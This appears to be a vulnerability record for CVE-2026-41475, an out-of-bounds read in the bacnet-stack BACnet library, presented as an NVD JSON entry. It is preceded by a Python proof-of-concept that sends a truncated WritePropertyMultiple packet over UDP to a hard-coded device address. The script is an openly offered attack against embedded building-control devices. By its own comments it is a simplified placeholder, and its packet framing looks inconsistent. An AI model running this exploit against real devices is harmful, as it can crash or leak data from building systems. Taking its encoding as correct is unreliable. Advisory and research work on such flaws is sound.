CVE-2026-41475

import socket import struct # BACnet/IP Header BACNET_IP_PORT = 47808 def create_truncated_wpm_packet(): # BACnet/IP Header: Version(1) + Length(2) + Original NPCI # Simplified header construction for PoC version = 0x01 length = 20 # Arbitrary length less than actual payload needed npci = 0x04 # Who-Is/Other logic placeholder - actual WPM APDU needed # Constructing a malformed WritePropertyMultiple APDU # This is a conceptual PoC, actual BACnet encoding is complex. # We simulate a truncated packet. header = struct.pack('!BBH', version, 0x0, length) # Malformed APDU content (Truncated) # Intended to trigger wpm_decode_object_property payload = b'\x0F' # WritePropertyMultiple service choice payload += b'\x00' # Start of Tag (Opening Tag) payload += b'\x0C' # Object Type (Analog Output) payload += b'\x01' # Instance Number (partial) # Intentionally missing closing bytes to cause OOB read return header + payload def send_poc(target_ip): sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) packet = create_truncated_wpm_packet() try: sock.sendto(packet, (target_ip, BACNET_IP_PORT)) print(f"[+] Malicious packet sent to {target_ip}") except Exception as e: print(f"[-] Error sending packet: {e}") finally: sock.close() if __name__ == "__main__": send_poc("192.168.1.100")

{"cve": {"id": "CVE-2026-41475", "sourceIdentifier": "[email protected]", "published": "2026-04-24T20:16:28.063", "lastModified": "2026-04-28T15:36:04.643", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "BACnet Stack is a BACnet open source protocol stack C library for embedded systems. Prior to 1.4.3, an out-of-bounds read vulnerability in bacnet-stack's WritePropertyMultiple service decoder allows unauthenticated remote attackers to read past allocated buffer boundaries by sending a truncated WPM request. The vulnerability stems from wpm_decode_object_property() calling the deprecated decode_tag_number_and_value() function, which performs no bounds checking on the input buffer. A crafted BACnet/IP packet with a truncated property payload causes the decoder to read 1-7 bytes past the end of the buffer, leading to crashes or information disclosure on embedded BACnet devices. This vulnerability is fixed in 1.4.3."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:bacnetstack:bacnet_stack:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.4.0", "versionEndExcluding": "1.4.3", "matchCriteriaId": "9BAD4B36-9061-453C-9C23-231993F1E69E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:bacnetstack:bacnet_stack:1.5.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "2B47182E-6B7F-4C53-904A-EB37C9C0A439"}, {"vulnerable": true, "criteria": "cpe:2.3:a:bacnetstack:bacnet_stack:1.5.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "CF491863-1A31-4A23-A6AC-DF7545FCAA48"}, {"vulnerable": true, "criteria": "cpe:2.3:a:bacnetstack:bacnet_stack:1.5.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "DAB57C9E-9ABF-41FD-8D30-7C319ED23227"}]}]}], "references": [{"url": "https://github.com/bacnet-stack/bacnet-stack/security/advisories/GHSA-cvv4-v3g6-4jmv", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}, {"url": "https://github.com/bacnet-stack/bacnet-stack/security/advisories/GHSA-cvv4-v3g6-4jmv", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}